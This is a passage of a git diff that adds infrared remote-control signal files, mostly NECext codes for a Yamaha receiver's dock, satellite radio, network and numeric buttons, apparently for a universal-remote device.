+type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_X-CHANNEL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_6/7CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP_X-CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP_XCH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_11CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: PGM_8CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_9CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_XCH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 +# +name: DSP:_XCH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir new file mode 100644 index 000000000..b9503288e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir @@ -0,0 +1,6080 @@ +Filetype: IR signals file +Version: 1 +# +name: SRCH_MODE_PRESET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 00 00 00 00 +# +name: HDRADIO:_PRES_MOD +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 00 00 00 00 +# +name: SRCH_MODE_TUNING +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 01 00 00 00 +# +name: HDRADIO:_MAN_MOD +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 01 00 00 00 +# +name: OPERATION_11 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 02 00 00 00 +# +name: SRCE:_MZ_PRESET_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 02 00 00 00 +# +name: SRCE:_Z2_PRESET_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 03 00 00 00 +# +name: Z2_OPERATION_11 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 03 00 00 00 +# +name: Z2_OPERATION_11 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 03 00 00 00 +# +name: SRCE:_Z3_PRESET_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 04 00 00 00 +# +name: Z3_SOURCE:_OP_11 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 04 00 00 00 +# +name: Z3_SOURCE:_OP_11 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 04 00 00 00 +# +name: SRCE:_Z4_PRESET_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 05 00 00 00 +# +name: Z4_SOURCE:_OP_11 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 05 00 00 00 +# +name: Z4_SOURCE:_OP_11 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 05 00 00 00 +# +name: OPERATION_12 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 06 00 00 00 +# +name: SRCE:_MZ_PRESET_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 06 00 00 00 +# +name: SRCE:_Z2_PRESET_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 07 00 00 00 +# +name: Z2_OPERATION_12 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 07 00 00 00 +# +name: Z2_OPERATION_12 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 07 00 00 00 +# +name: SRCE:_Z3_PRESET_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 08 00 00 00 +# +name: Z3_SOURCE:_OP_12 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 08 00 00 00 +# +name: Z3_SOURCE:_OP_12 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 08 00 00 00 +# +name: SRCE:_Z4_PRESET_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 09 00 00 00 +# +name: Z4_SOURCE:_OP_12 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 09 00 00 00 +# +name: Z4_SOURCE:_OP_12 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 09 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0A 00 00 00 +# +name: SIRIUS_PRESET_A +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0A 00 00 00 +# +name: SIRIUS:_A +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0A 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0B 00 00 00 +# +name: SIRIUS_PRESET_B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0B 00 00 00 +# +name: SIRIUS:_B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0B 00 00 00 +# +name: SIRIUS:_B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0B 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0C 00 00 00 +# +name: SIRIUS_PRESET_C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0C 00 00 00 +# +name: SIRIUS:_C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0C 00 00 00 +# +name: SIRIUS:_C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0C 00 00 00 +# +name: DOCK_BLUETOOTH_PAIR +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0D 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0D 00 00 00 +# +name: SIRIUS_PRESET_D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0D 00 00 00 +# +name: SIRIUS:_D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0D 00 00 00 +# +name: SIRIUS:_D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0D 00 00 00 +# +name: IPOD_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: IPOD_CURSOR_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: IPOD:_CURSOR_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: IPOD_MENU_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: DOCK_NAV_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: DOCK:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: SIRIUS_PRESET_E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: DOCK_MENU_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: IPOD:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: SIRIUS:_E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: IPOD:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: SIRIUS:_E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: IPOD_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: IPOD:_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: SEARCH_ALL_CH +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: SIRIUS:ALL_CH_SEARCH +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: SIRIUS_MODE_ALL +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: SIRIUS_ALL_CH_SRCH +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: IPOD_MENU_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: IPOD_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: IPOD:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: SEARCH_CATEGORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: DOCK:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: SIRIUS:CATEG._SEARCH +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: SIRIUS_MODE_CATEGOR +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: DOCK_MENU_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: SIRIUS_CAT_SRCH +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: IPOD:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: IPOD:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 10 00 00 00 +# +name: IPOD_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: IPOD_CURSOR_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: IPOD:_CURSOR_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: DOCK_NAV_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: SEARCH_PRESET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: DOCK:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: SIRIUS:PRESET_SEARCH +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: IPOD:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: SIRIUS_MODE_PRESET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: DOCK_MENU_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: SIRIUS_PRESET_SRCH +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: IPOD:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: IPOD_MENU_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: IPOD_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: IPOD:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: DOCK_NAV_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: DOCK:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: DOCK_MENU_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: IPOD:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: IPOD:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: NET:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 12 00 00 00 +# +name: IPOD_BLUETOOTH_OFF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 13 00 00 00 +# +name: IPOD_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: IPOD_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: IPOD:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: IPOD_MENU_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: DOCK_NAV_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: DOCK:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: DOCK_MENU_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: IPOD:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: IPOD:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: IPOD_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 15 00 00 00 +# +name: IPOD:_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 15 00 00 00 +# +name: DOCK:_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 15 00 00 00 +# +name: DOCK_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 15 00 00 00 +# +name: IPOD_REW(SEARCH) +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD:_REWIND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD:_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD_REWIND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: DOCK_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: DOCK:_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD:_SCAN_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD_SEARCH_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: DOCK_CONT_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD:_REWIND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: IPOD_FF(SEARCH) +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD:_FAST_FORWARD +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD:_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD_FAST_FORWARD +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: DOCK_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: DOCK_NAV_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: DOCK:_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD:_SCAN_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD_SEARCH_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: DOCK_CONT_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD:_FAST_FORWARD +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: IPOD_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: IPOD:_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: DOCK_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: DOCK:_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: DOCK_CONT_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: IPOD:_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: IPOD_CHP/SKIP- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: IPOD_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: IPOD:_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: IPOD:_SKIP- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: DOCK_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: DOCK:_SKIP- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: PREV_TRACK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: IPOD:_SKIP_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: IPOD_SKIP_BACK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: DOCK_CONT_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: IPOD:_SKIP- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: NET:_SKIP- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: IPOD_CHP/SKIP+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: IPOD_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: IPOD:_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: IPOD:_SKIP+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: DOCK_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: DOCK:_SKIP+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: IPOD:_SKIP_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: IPOD_SKIP_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: DOCK_CONT_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: IPOD:_SKIP+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: NET:_SKIP+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: IPOD_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: IPOD:_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: DOCK_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: DOCK:_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: DOCK_CONT_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: IPOD:_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: NET:_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: IPOD_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: IPOD:_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: DOCK_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: DOCK:_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: DOCK_CONT_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: IPOD:_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 +# +name: NET_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 21 00 00 00 +# +name: NET:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 21 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 21 00 00 00 +# +name: NET/USB_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 21 00 00 00 +# +name: HD_RADIO:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 21 00 00 00 +# +name: NET:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 21 00 00 00 +# +name: HD_RADIO:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 21 00 00 00 +# +name: NET_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 22 00 00 00 +# +name: NET:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 22 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 22 00 00 00 +# +name: NET/USB_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 22 00 00 00 +# +name: HD_RADIO:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 22 00 00 00 +# +name: NET:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 22 00 00 00 +# +name: HD_RADIO:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 22 00 00 00 +# +name: NET_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 23 00 00 00 +# +name: NET:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 23 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 23 00 00 00 +# +name: NET/USB_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 23 00 00 00 +# +name: HD_RADIO:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 23 00 00 00 +# +name: NET:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 23 00 00 00 +# +name: HD_RADIO:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 23 00 00 00 +# +name: NET_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 24 00 00 00 +# +name: NET:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 24 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 24 00 00 00 +# +name: NET/USB_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 24 00 00 00 +# +name: HD_RADIO:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 24 00 00 00 +# +name: NET:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 24 00 00 00 +# +name: HD_RADIO:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 24 00 00 00 +# +name: NET_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 25 00 00 00 +# +name: NET:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 25 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 25 00 00 00 +# +name: NET/USB_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 25 00 00 00 +# +name: HD_RADIO:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 25 00 00 00 +# +name: NET:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 25 00 00 00 +# +name: HD_RADIO:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 25 00 00 00 +# +name: NET_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 26 00 00 00 +# +name: NET:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 26 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 26 00 00 00 +# +name: NET/USB_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 26 00 00 00 +# +name: HD_RADIO:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 26 00 00 00 +# +name: NET:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 26 00 00 00 +# +name: HD_RADIO:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 26 00 00 00 +# +name: NET_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 27 00 00 00 +# +name: NET:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 27 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 27 00 00 00 +# +name: NET/USB_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 27 00 00 00 +# +name: HD_RADIO:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 27 00 00 00 +# +name: NET:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 27 00 00 00 +# +name: HD_RADIO:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 27 00 00 00 +# +name: NET_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 28 00 00 00 +# +name: NET:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 28 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 28 00 00 00 +# +name: NET/USB_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 28 00 00 00 +# +name: HD_RADIO:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 28 00 00 00 +# +name: NET:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 28 00 00 00 +# +name: HD_RADIO:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 29 00 00 00 +# +name: HD_RADIO:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 29 00 00 00 +# +name: HD_RADIO:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 29 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2A 00 00 00 +# +name: HD_RADIO:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2A 00 00 00 +# +name: HD_RADIO:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2A 00 00 00 +# +name: NET_NUM_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 